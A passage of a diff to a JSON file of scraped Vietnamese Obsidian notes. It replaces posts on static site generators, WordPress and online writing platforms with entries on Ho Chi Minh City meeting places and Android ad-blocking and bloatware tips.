hậu, Node thì bất tiện với người dùng mới. Dưới đây là 3 chương trình tạo web tĩnh mình nghĩ sẽ tốt hơn 11ty:\n\n> [!Attention] Ý đồ trình bày \n> Với mỗi một chương trình sẽ có một phần giới thiệu chung, và phần nói về ưu điểm và nhược điểm. Phần ưu điểm và nhược điểm **chỉ liên quan đến nhu cầu tạo web cá nhân từ kho**. Những ưu điểm và nhược điểm đối với các nhu cầu khác sẽ được để vào phần giới thiệu.\n\n### Mkdocs\nMkdocs được viết bằng Python, một ngôn ngữ đề cao việc dễ đọc, dễ viết, và được dùng nhiều cho những bạn làm về dữ liệu. Đặc biệt, theme Material của nó dùng thiết kế Material của Google, là một kiểu thiết kế phẳng theo nhiều lớp để tạo độ sâu. Theme này phù hợp khi bạn cần một trang web có một thanh điều hướng với nhiều nút, đủ đơn giản để không làm rối, nhưng lại không quá đơn giản để tạo ra được một giao diện ấn tượng với người dùng. \n\nƯu điểm:\n- Tập tin cấu hình `mkdocs.yml` là một tập tin YAML quen thuộc, không phải code gì cả\n- Số lượng tính năng phong phú, đặc biệt là có nhiều kiểu markdown cho các nhu cầu đặc thù\n\nNhược điểm:\n- Cài Python trên Windows có thể gặp trục trặc về đường dẫn. Cái này tuỳ người. Nếu bị thì thêm `py -m` trước mọi dòng lệnh. Ví dụ `mkdocs serve` → `py -m mkdocs serve`\n\n### Lume\nLume viết bằng JavaScript. Obsidian cũng viết bằng JavaScript. Nên dùng Lume bạn chỉ cần học một ngôn ngữ để có thể thao tác với Obsidian tốt hơn. Nó phù hợp cho các trang blog hoặc wiki đơn giản.\n\nƯu điểm:\n- Với mỗi thư mục bạn có thể đặt một tập tin cấu hình `_data.yaml` để cấu hình cho toàn bộ thư mục. Nếu bạn muốn một thư mục con có cấu hình khác thì chỉ cần tạo một tập tin `_data.yaml` khác vào trong thư mục con đó\n- Trong trường hợp bạn phải chỉnh code, thì Lume dùng Deno, một môi trường thực thi tích hợp sẵn những tiến bộ mới nhất của JavaScript, tiện lợi hơn Node nhiều\n\nNhược điểm:\n- Số theme còn ít\n- Không có đồ thị liên kết các nút cho người dùng\n\n### Quartz\nĐây là một chương trình tạo web tĩnh được viết đặc biệt dành cho người dùng Obsidian. Tác giả của nó muốn thúc đẩy *sự giải trung tâm hoá ở web*, hay còn gọi là *dweb* hoặc *web 3.0*. Mình đoán là cái gọi là khu vườn số cũng nằm trong dòng chảy này. Bạn có thể xem video phỏng vấn tác giả ở [đây](https://www.youtube.com/watch?v=YCvV7Izqggc). Quartz phù hợp cho người cần có đồ thị mạng lưới mối quan hệ giữa các ghi chú trên web.\n\nƯu điểm:\n- Có sẵn đồ thị và backlink\n\nNhược điểm: \n- Không có nút ba que để mở menu cho người dùng điện thoại (có thể dùng các bản fork của cộng đồng). Tác giả hình như cũng đuối nên không tương tác nhiều với cộng đồng\n- Tập tin cấu hình là `quartz.config.ts` hoặc `quartz.layout.ts`, nghĩa là để cấu hình là bạn phải dùng TypeScript để chỉnh\n- Dùng Node\n\nNếu bạn muốn tìm hiểu thêm về môi trường thực thi Node và Deno thì có thể đọc bài này: [Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ ](https://doi-thoai.deno.dev/We.48.1)\n", - "Định dạng nội dung": "md" + "Mô tả bài đăng": "=địa chỉ", + "Toàn bộ nội dung": "Địa chỉ:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Không có wifi và ổ điện\n- Không có nhà vệ sinh\n- Có loa làm ồn\n\nĐiểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n- [x] Nằm la liệt được\n- [x] Không gian ngoài trời\n- [x] Có đàn hoặc sân khấu nhỏ\n- [x] Nuôi chó mèo\n", + "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-17T04:00:00.000Z", - "Ngày cập nhật": "2024-09-02T10:20:00.000Z", - "id": "R4" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RI" }, { - "Tiêu đề": "Google Analytics, Google Tag Manager", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Google Analytics, Google Tag Manager", + "Tiêu đề": "Sân vườn chung cư GoldView", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Địa điểm công cộng/Sân vườn chung cư GoldView", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::", + "Mô tả bài đăng": "Tầng 25, 346 Bến Vân Đồn, P1, Q4", + "Toàn bộ nội dung": "Địa chỉ:: Tầng 25, 346 Bến Vân Đồn, P1, Q4\nSố người tối thiểu:: \nSố người tối đa:: 30\n \nGiá giữ xe:: 5k\nLiên hệ:: https://www.facebook.com/quacau.sphere/\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Mở BBQ được\nGhi chú:: Chỉ được mượn 1 lần/tháng\n\nLưu ý:\n- Không có wifi và ổ điện\n- Không có nhà vệ sinh\n- Có loa làm ồn\n\nĐiểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n- [x] Không gian ngoài trời\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "R5" + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RJ" }, { - "Tiêu đề": "Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?", + "Tiêu đề": "Địa điểm công cộng ở TPHCM", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Địa điểm công cộng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "WordPress giúp việc tạo web dễ dàng nhất, chứ không phải là thứ tạo web hiệu quả nhất", - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Tiếp thị số]], [[Lập trình web]]\n\nNếu bạn chỉ cần một nơi lưu lại những gì mình ghi viết bài chia sẻ cho mọi người đọc, các mạng xã hội như Facebook là đủ. Nếu như Facebook đại trà quá và bạn muốn tạo một thương hiệu rõ hơn, Substack, Medium, Spiderum, LinkedIn Page sẽ là những trang sẽ cho khách ghé thăm ấn tượng sơ về phong cách và nội dung của bạn. Nếu bạn muốn tạo một góc thầm lặng, không quá xô bồ, hoặc ngược lại muốn xây dựng một không gian làm cho khách ghé thăm phải cảm thấy ấn tượng, trầm trồ với giao diện độc đáo, thì Weebly, Wix, Squarespace, Shopify, Blogger, WordPress.com sẽ giúp bạn đạt được điều đó. Chỉ khi nào bạn muốn có sự kiểm soát tối đa toàn bộ trang web của bạn với chi phí thấp, thì lúc đó bạn mới cần có một website riêng.\n\nXem thêm:: [[Nền tảng viết trên mạng]]\n\nNhiều người khi có nhu cầu tạo web thường được bạn bè giới thiệu WordPress. WordPress được xếp vào nhóm web động. Ngoài web động ra thì còn có web tĩnh. Web động với web tĩnh bản chất thế nào thì mình nghĩ đợi đến khi bạn đã quen thuộc với web rồi thì giải thích sẽ dễ hiểu hơn, còn giờ nói sớm quá thì bạn lại rối. Quan trọng là chúng sẽ đáp ứng nhu cầu của bạn thế nào thôi. Mình nghĩ rằng đây là những tiêu chí mà một người dùng cá nhân hoặc cho tổ chức nhỏ sẽ cần để ý đến:\n\n| Tiêu chí | WordPress | Web tĩnh |\n| ------------------------------------------- | -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |\n| Dễ bắt đầu cho người mới | <span style=\"color:green\">Có người làm sẵn hết</span> | Phải tự thiết lập |\n| Tuỳ chỉnh theo đúng nhu cầu | <span style=\"color:green\">Có hướng dẫn ngay tại nơi thiết lập, chỉ cần bấm nút hoặc kéo thả</span> | Thiết lập bằng tập tin văn bản, cần tham khảo hướng dẫn sử dụng |\n| Kho theme và plugin | <span style=\"color:green\">Đồ sộ và dễ dàng cài đặt</span> | Tuỳ vào chương trình được dùng, nhưng chắn chắn không nhiều và dễ cài bằng WordPress |\n| Nếu bài viết đổi URL | <span style=\"color:green\">Người dùng truy cập vào URL cũ sẽ tự động chuyển sang URL mới</span> | Phải tự thiết lập chuyển URL, nếu không sẽ bị lỗi 404 |\n| Giá | Phải mua host | <span style=\"color:green\">Miễn phí</span> |\n| Thiết bị dùng để thao tác | Chủ yếu là chuột | <span style=\"color:green\">Chủ yếu là bàn phím</span> |\n| Cập nhật bài mới, chỉnh sửa bài cũ | Mỗi lần điều chỉnh là phải mở web, chờ web tải rồi mới sao chép từ máy tính lên web được | <span style=\"color:green\">Chỉ cần gõ một lệnh là lên web</span> |\n| Cơ hội nắm được tư duy và công cụ lập trình | Không nhiều | <span style=\"color:green\">Rất tốt</span> |\n| Tốc độ tải | Trang hơi phức tạp là dễ bị chậm | <span style=\"color:green\">Luôn nhanh</span> |\n\nHãy nói thêm về tiêu chí độ phức tạp khi cài đặt web mới. Nếu bạn tự làm một mình từ đầu đến cuối thì có thể web tĩnh dễ cài đặt hơn, vì với việc dùng GitHub Page bạn sẽ không phải lo vấn đề về host. Với một trang web động bạn sẽ phải mua host. Điểm thú vị là, các dịch vụ hosting thường sẽ cài các phần mềm cần thiết cho bạn luôn, để bạn mua xong là có web xài ngay được. Nên thành ra với người chưa biết gì thì việc tạo một trang WordPress mới lại dễ hơn so với web tĩnh, dù thực chất nó khó hơn.\n\nNếu điều bạn cần là có người làm thay bạn việc cài đặt để bạn còn làm những việc khác quan trọng hơn, thì tại sao bạn lại phải bỏ tiền mua host để có người làm thay việc cài đặt, mà không đơn giản là thuê người cài đặt hộ bạn luôn? Chi phí để thuê một người cài đặt web động + host và chi phí thuê một người cài đặt web tĩnh, cái nào rẻ hơn?\n\nChưa kể, việc cài đặt chỉ là bước đầu tiên của việc làm web. Các dịch vụ hosting chỉ làm bước này thôi chứ không làm xa hơn. Việc tuỳ chỉnh để đáp ứng nhu cầu chỉ có bạn tự làm chứ các dịch vụ hosting không làm thay bạn. Muốn làm thay thì bạn phải trả thêm tiền, và nhiều khi cũng không thay bạn được. Nên trừ phi bạn có tiền để thuê hẳn một người quản lý web để bạn khỏi bị phân tán sự chú ý cho những điều quan trọng hơn, chứ nếu bạn phải tự học tự làm thì tốt nhất là chi tiền học một buổi về cách dùng web tĩnh là có thể dùng suốt đời. Chứ chi tiền cho host thì mỗi năm lại phải trả một lần.\n\nVấn đề là, dù các dịch vụ đó chỉ làm giúp bạn bước đầu tiên đó, nhưng **đó lại là bước quan trọng nhất**. Nếu nói như kiểu Lão Tử là \"con đường vạn dặm bắt đầu từ một bước chân\". Bước đầu tiên sẽ quyết định con đường bạn đi. Nó nhiều khi còn quyết định việc bạn có đi nữa hay không. Và bước đầu tiên của người mua host để dùng WordPress thì dễ hơn bước đầu tiên của người tự làm web tĩnh.\n\nNếu bạn để ý, ở trên mình có nói là nếu bạn muốn tạo một góc thầm lặng hoặc một không gian ấn tượng thì WordPress.com sẽ giúp bạn đạt được điều đó. Nhưng ngay sau đó mình lại bảo là nếu bạn có nhu cầu tạo web thì mọi người thường giới thiệu WordPress cho bạn. Hàm ý là WordPress.com không phải là WordPress, và nó không phải là web riêng của bạn. Điều này có nghĩa là sao? Và nó liên quan gì tới những gì nãy giờ mình nói?\n\n**WordPress là một phần mềm để bạn tạo trang web.** Để người khác truy cập được web của bạn thì bạn cần có host. **WordPress.com là một công ty cung cấp dịch vụ host** như bao công ty hosting tương tự. Trên host của một công ty tên là WordPress.com có cài đặt một phần mềm tạo web tên là WordPress. Nếu bạn thuê dịch vụ của công ty này, thì bạn sẽ được cài sẵn WordPress mà không cần phải làm gì cả. Giống như là bạn mở một quán bánh canh và đặt tên cho nó là BánhCanh.com vậy. Khách chỉ cần ngồi vào bàn là có ngay một tô bánh canh miễn phí. Đó là điểm khác biệt.\n\n<iframe width=\"560\" height=\"315\" src=\"https://videopress.com/embed/FmtB9Wcw\" frameborder=\"0\" allowfullscreen allow=\"clipboard-write\"></iframe>\n<script src=\"https://videopress.com/videopress-iframe.js\"></script>\n\nWeb động cũng như web tĩnh đều đòi hỏi bạn phải cài đặt, cấu hình phần mềm. Nhưng vì người dùng web động phải trả thêm cả tiền host khiến cho các công ty hosting có thêm nhiều tiền từ các phần mềm tạo web động hơn các phần mềm tạo web tĩnh. WordPress vào thời điểm ra mắt là phần mềm tạo web động duy nhất có giao diện thân thiện với người dùng. Những điều này đã thúc đẩy các công ty này tập trung vào WordPress, quảng cáo cho nó nhiều hơn. Các công ty này có lợi hơn nếu như người dùng nghĩ đến WordPress đầu tiên khi họ muốn tạo website. Từ đó WordPress bước vào vòng lặp dương, và trở thành một hệ thống quản lý nội dung tiện lợi hơn với người dùng cũng như có được một hệ sinh thái theme và plugin đồ sộ như bây giờ. Việc bạn được bạn bè giới thiệu dùng WordPress cũng là vì nó là thứ giúp bạn đi bước đi đầu tiên dễ dàng nhất, chứ không phải vì nó là thứ giúp bạn đi cả con đường hiệu quả nhất.\n\nCho nên mình nghĩ, câu chuyện giữa web tĩnh và WordPress là câu chuyện đánh đổi giữa dài hạn và ngắn hạn, giữa việc có và không có người đi cùng bạn bước đi đầu tiên. Mình nghĩ WordPress chỉ có lợi nếu bạn cần dùng web động (mà nếu bạn đã hiểu được web động là gì và tại sao mình lại cần web động thì trình độ của bạn đã đi xa hơn bài này rồi. Bạn không còn cần nghe lời khuyên của mình làm gì), hoặc cần một hệ thống quản lý nội dung **đáp ứng được cả 3 yêu cầu sau**:\n- [[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra|Cho bạn phản hồi tức thời khi tuỳ chỉnh giao diện và chức năng]],\n- [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm|Việc học cách tuỳ chỉnh càng chiếm ít thời gian và tâm trí càng tốt]],\n- [[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung|Bạn không có người đi trước đi cùng mình những bước đầu tiên]]\n\nCòn không thì với nhu cầu nhỏ thì dùng web tĩnh có lợi về lâu dài hơn. Bạn sẽ chẳng cần tới nhiều theme hoặc plugin đến thế. Cái chính là việc viết bài và đăng bài có tiện lợi hay không mà thôi.\n\nWordPress ra đời năm 2003. 21 năm đã trôi qua, và công nghệ web cũng đã có nhiều thứ mới. Thời điểm đó không có Git, Node, Stack Overflow, VS Code, Astro, Obsidian, ChatGPT. Những cái tên mình liệt kê ra ở đây có thể bạn không hiểu nó là gì, nhưng chúng đã làm cho việc sử dụng web tĩnh trở nên nhẹ nhàng hơn, hoặc có nhiều lợi ích hơn. Nhưng kể cả là ngay bây giờ, khi đã có những công cụ đó, thì mình vẫn phải thừa nhận là với người không biết gì thì đi bước đầu tiên bằng WordPress vẫn dễ hơn đi bước đầu tiên bằng web tĩnh. \n\nTương tự việc [[Lý do viết Trấn Kỳ#Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù|các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù]], [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác|có rất nhiều đánh đổi trong cái ngành công nghệ thông tin ", + "Toàn bộ nội dung": "Giá rẻ:: ✔\nỞ lại tới 23h:: ✔\nKhông gian tạo cảm hứng:: ✔\nĐược nói to:: ✔\nCó thể vận động cơ thể:: ✔\n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Theo thành phố/TPHCM/Địa điểm công cộng ở TPHCM\"\nWhere file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-27T08:45:00.000Z", - "Ngày cập nhật": "2024-09-02T10:26:00.000Z", - "id": "R6" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "RK" }, { - "Tiêu đề": "Nền tảng viết trên mạng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Web/Nền tảng viết trên mạng", + "Tiêu đề": "Chặn quảng cáo trong app Android", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Hệ điều hành/Chặn quảng cáo trong app Android", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "SỰ THẬT LÀ: Đội [#Marketing](https://www.facebook.com/hashtag/marketing?__eep__=6&__cft__[0]=AZWJAXeALcYtj0yMTclhGUz2XReDR6nlB5FY-vqeqDEz9tP-6Q4Nxz_YWcFkn_uaGIXXR42qpRQK8LrgCYfoauXktzv5UrCb-bSGY5G5wpy-MkPE6gJtemhOD_59SBkHjsrP_cmuYXT7YQRmqsYrtYcuj6EiSNiUE2Cf6_Bsa7K0PklE6BhmGr87ek3iYls3kJ8&__tn__=*NK-R) của chúng tôi khi mở Fanpage thì thường xuyên KHÔNG BIẾT VIẾT GÌ, ngược lại, khi mở Substack thì tự nhiên biến thành Jack Canfield hết cả lũ. Cuối tuần nào tôi cũng nhận được \"e có idea mới triển không anh ơi\"\n\nVì sao? Hãy nhìn sâu một chút vào điều này:\n\n![🍀](https://static.xx.fbcdn.net/images/emoji.php/v9/t87/1/16/1f340.png) Facebook cho bạn cảm giác rằng điều bạn sắp nói ra đã lỗi thời. Chẳng hạn: Hiệu ứng Kim Định chứ gì, ai chả biết. Tóm lại bạn luôn là con người đó, với cái avatar đó và chuẩn bị nói ra cái điều mà thiện hạ người ta biết rồi. Facebook cũng ủng hộ bằng cách phân phối nội dung đến những người thường xuyên biết: vậy là giống như ngày nào cũng ra cùng một quán bia nói cùng một câu chuyện\n\nNhưng thực tế không phải như thế: có những người biết điều này, không biết điều kia\n\nCó những điều đã nẫu cả ra ở chỗ này, nhưng lại vô cùng mới với người khác.\n\n![🍀](https://static.xx.fbcdn.net/images/emoji.php/v9/t87/1/16/1f340.png) Ngược lại, Substack là Newsletter... bất kể đề tài gì bạn tính viết, bạn sẽ có cảm giác, bạn sẽ là người đầu tiên truyền tải đến Subscribers. Tuy thực tế nó không phải vậy, nó vẫn là quán bia đó thôi, nhưng cái cảm giác rất khác nhau khiến bạn có cảm hứng làm những thứ khác.\n\nHơn nữa: nó là THƯ, nó cá nhân, gửi đi là không sửa được. Không trau chuốt là không có kết quả. Người ta sẽ cho bạn ngay vào đám inbox rác. Bạn buộc phải tìm hiểu rất kỹ rồi mới viết.\n\n-----\n\nKhi Substack có 300 Subscribers đầu tiên (phải rất vất vả và đổ nhiều tiền), cũng là lúc các Content Marketers tưởng mình hay.\n\nBắt đầu nghĩ ra các loại series và bắt tôi lập ra. Tôi mới nhẹ nhàng bảo: \"Thường người ta chết ở bước thành công đầu tiên. Như một bài đã nói: niche quan trọng hơn brand\".\n\nBan đầu bạn làm vì các followers đó, vì cảm hứng rất nhiều từ các loại tư liệu, và chiêm nghiệm từ kinh nghiệm của bản thân. Người làm công sở có trải nghiệm công sở, người từng cãi nhau với Đoàn thanh niên ở trường thì có trải nghiệm cãi nhau với Đoàn thanh niên..\n\nNhưng không có outcome là không có động lực.\n\n\n[Quả Cầu](https://www.facebook.com/qua.cau.the.sphere?__cft__[0]=AZWJAXeALcYtj0yMTclhGUz2XReDR6nlB5FY-vqeqDEz9tP-6Q4Nxz_YWcFkn_uaGIXXR42qpRQK8LrgCYfoauXktzv5UrCb-bSGY5G5wpy-MkPE6gJtemhOD_59SBkHjsrP_cmuYXT7YQRmqsYrtYcuj6EiSNiUE2Cf6_Bsa7K0PklE6BhmGr87ek3iYls3kJ8&__tn__=R]-R) Anh nghĩ chắc là vì dùng WordPress vì bản thân nó k được nền tảng định hướng cho phân phối nội dung chuyên môn. Còn substack xây cộng đồng và data dù vất vả nhưng chắc chắn và nhanh hơn do công cụ có nhiều tính năng. Và thường đúng người hơn ấy. Substack phục vụ marketing và bán dịch vụ, sản phẩm 1 cách nghiêm túc hơn. Wordpress cảm giác để chơi chơi cho vui\n\n[SỰ THẬT LÀ: Đội #Marketing của chúng... - Đức Anh Kostroma](https://www.facebook.com/levubachduong/posts/pfbid02wuRNuZMvxQhinLPwXrZFszv3fFWsb2dtVZzy1Fk9kG14aSwv4rccCbiqepVdTZQl?comment_id=815529827445768&reply_comment_id=1178818033343623)", + "Toàn bộ nội dung": "Root máy rồi cài adblock trên Google Play/F-droid", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T06:18:00.000Z", - "Ngày cập nhật": "2024-09-02T10:04:00.000Z", - "id": "R7" + "Ngày tạo": "2023-06-01T14:16:00.000Z", + "Ngày cập nhật": "2024-07-16T17:09:00.000Z", + "id": "RL" }, { - "Tiêu đề": "Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó", + "Tiêu đề": "Xóa bloatware trên Windows, Android", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Loại bỏ phiền nhiễu, vượt rào cản/Hệ điều hành/Xóa bloatware trên Windows, Android", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Đâu là nơi dễ gặp được từ khoá cần tìm nhất?", - "Toàn bộ nội dung": "Khái niệm:: [[Mental modal]]\n\n> The difference between the almost right word and the right word is really a large matter - 'tis the difference between the lightning-bug and the lightning.\n> — Mark Twain\n\nThực ra trong rất nhiều trường hợp, thứ cản trở ta có được từ khoá không hẳn là ở việc không biết phải bắt đầu tìm hiểu ở đâu, mà ở việc không có thời gian tìm hiểu. [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]. [[Có những câu hỏi ta rất muốn có câu trả lời nhưng mãi mà vẫn chưa đi google]]. [[Ta thường không sẵn sàng để đọc một tài liệu khi ta mới thấy nó]]. Sẽ thật tốt nếu như bạn có ngay một người am hiểu về lĩnh vực đó và sẵn sàng trả lời cho bạn. Nhưng nếu bạn không có ai am hiểu lĩnh vực quanh mình, hoặc bạn không muốn làm phiền họ nên không muốn hỏi họ, hoặc họ cũng không biết câu trả lời, thì lúc này câu hỏi \"Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó\" sẽ trở thành:\n\n## Nếu tôi phải tự tìm hiểu một mình, thì đâu là nơi dễ gặp được từ khoá cần tìm nhất?\nCác gợi ý được sắp xếp theo mức độ dễ dàng.\n### Máy tìm kiếm\nNhược điểm của việc này là không ít chủ đề bị tấn công bởi SEO rác. Có thể giảm thiểu điều này bằng việc [[Ẩn kết quả tìm kiếm rác trên Google]], tuy nhiên cũng chỉ hạn chế được phần nào. Hơn nữa, kể cả khi không bị SEO rác, thì cũng có khả năng [[❓Tác giả của một bài viết không bao giờ vét cạn được mọi từ khoá mà người đọc có thể sẽ nhập vào máy tìm kiếm để được gợi ý tới bài viết đó]].\n\n### Các công cụ tổng hợp và liệt kê khái niệm\n- [Globe Explorer](https://explorer.globe.engineer/): tự động liệt kê các khái niệm liên quan và phân loại chúng \n- [Không gian vector từ của Google](https://projector.tensorflow.org/)\n- Từ điển các từ đồng nghĩa, gần nghĩa (synonyms) \n- Phần mục lục của [List of lists of lists](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\")\n\nChatGPT hay Gemini thực ra cũng nằm trong nhóm này, nhưng có lẽ chúng không hiệu quả bằng các công cụ trên trong nhiệm vụ này.\n\n### Các cộng đồng chuyên môn\nDiễn đàn chuyên về hỏi đáp [[Stack Exchange]] có cơ chế bầu chọn theo tập thể, giúp đưa thông tin hữu ích nhất lên cao. Quora cũng là một diễn đàn hỏi đáp có cơ chế bầu chọn theo tập thể, nhưng có vẻ nó thiên về nghe những câu chuyện từ những người có uy tín hơn. Với những câu hỏi để tìm từ khoá thì bạn không có nhiều không gian để giải thích vấn đề, và cũng dễ gặp tình trạng câu trả lời chỉ chung chung. Nếu muốn có những cuộc thảo luận mở thì mình thấy Reddit tốt hơn.\n\n- [TOMT: When you can't remember that…thing…](https://www.reddit.com/r/tipofmytongue/)\n- [Need something found? Maybe we can help!](https://www.reddit.com/r/HelpMeFind/)\n- [The Signpost of Reddit!](https://www.reddit.com/r/findareddit/)\n- [For the identification of mysterious objects](https://www.reddit.com/r/whatisthisthing/)\n- [I Need a Name (INAN)](https://www.reddit.com/r/INeedAName/)\n\nNếu cần nơi tổng hợp tiếng Việt thì mình có tổng hợp [500 nhóm Facebook hay](https://quảcầu.cc/cac-nhom-facebook-hay?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=Tài+nguyên+khác%2CLàm+việc+hiệu+quả&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=). Mục đích của danh sách này chủ yếu để seeding, không phải để tìm từ khoá, nhưng phần học thuật thì cũng có thể hữu ích cho bạn. Phần đó bây giờ cũng phải cập nhật lại.\n\nNếu dành thời gian để viết những gì bạn đã thử mà không được thì câu hỏi của bạn sẽ trở nên hấp dẫn hơn, tạo được nhiều tương tác hơn.\n\n### Các hệ thống tri thức cộng đồng\n- Phần mục lục của [List of lists of lists](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\"). Có thời gian thì tìm hiểu thêm về [[Uy quyền sự thật của Wikipedia]]\n- Awesome\n- Các kho kiến thức. Với tiếng Việt thì có [trang giới thiệu về đối ⊷ thoại](https://doi-thoai.deno.dev/blog?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=đối+⊷+thoại&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=).\n\nXem thêm:: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]\n### Các nghiên cứu tổng quan, sách nhập môn, bài giảng đại học\nHết cách rồi, phải lao đầu vào nghiên cứu thật kỹ thôi.\n\n- Lên YouTube kiếm playlist bài giảng\n- Tìm trên Google Scholars bằng truy vấn `[chủ đề] literature review`\n- Lên [[LibGen]] tải sách \n\nXem thêm:: [[Tinh túy của một cuốn sách chính là mục lục của nó]]\n\n## Liệu đây đã là cách hiệu quả nhất chưa? \nQuay trở lại câu hỏi ban đầu:\n> Làm sao để tìm được thứ ta cần khi ta không biết từ khoá chính xác của nó?\n\nNhư có đề cập ở đầu bài, trong rất nhiều trường hợp, thứ cản trở ta có được từ khoá không hẳn là ở việc không biết phải bắt đầu tìm hiểu ở đâu, mà ở việc không có thời gian tìm hiểu. [[Kể cả khi ta biết một trang web trả lời câu hỏi cho ta, thì việc đọc cũng nhức đầu]]. [[Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình]]Cho nên, giải pháp tốt nhất cho vấn đề ban đầu không phải là hỏi xem \"Nếu tôi phải tự tìm hiểu một mình, thì đâu là nơi có tôi dễ gặp được từ khoá cần tìm nhất?\", mà là:\n\n> Làm sao để tôi có thể luôn tìm được người sẵn sàng chia sẻ hiểu biết của mình với chi phí chấp nhận được?\n\nĐiều này quay về ý tưởng [Tổ chức các buổi chia sẻ kỹ năng miễn phí với nhau](https://quảcầu.cc/cac-buoi-chia-se-ky-nang-mien-phi-voi-nhau?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Hiểu+biết+sâu)&utm_medium=Vault&utm_campaign=Dự+án&utm_content=⚡Hiểu+biết+sâu%2FNghĩ+về+việc+nghĩ%2FHọc+tập%2C+hiểu+biết%2FLàm+sao+để+tìm+được+thứ+ta+cần+khi+ta+không+biết+từ+khoá+chính+xác+của+nó.md&utm_term=).\n\nTrong trường hợp vẫn phải tự tìm hiểu một mình, thì câu hỏi ban đầu thực chất là câu hỏi:\n> Từ khoá nào sẽ giúp tôi đi tìm từ khoá tôi chưa biết một cách hiệu quả?\n\nBan đầu mình nghĩ từ khoá đó 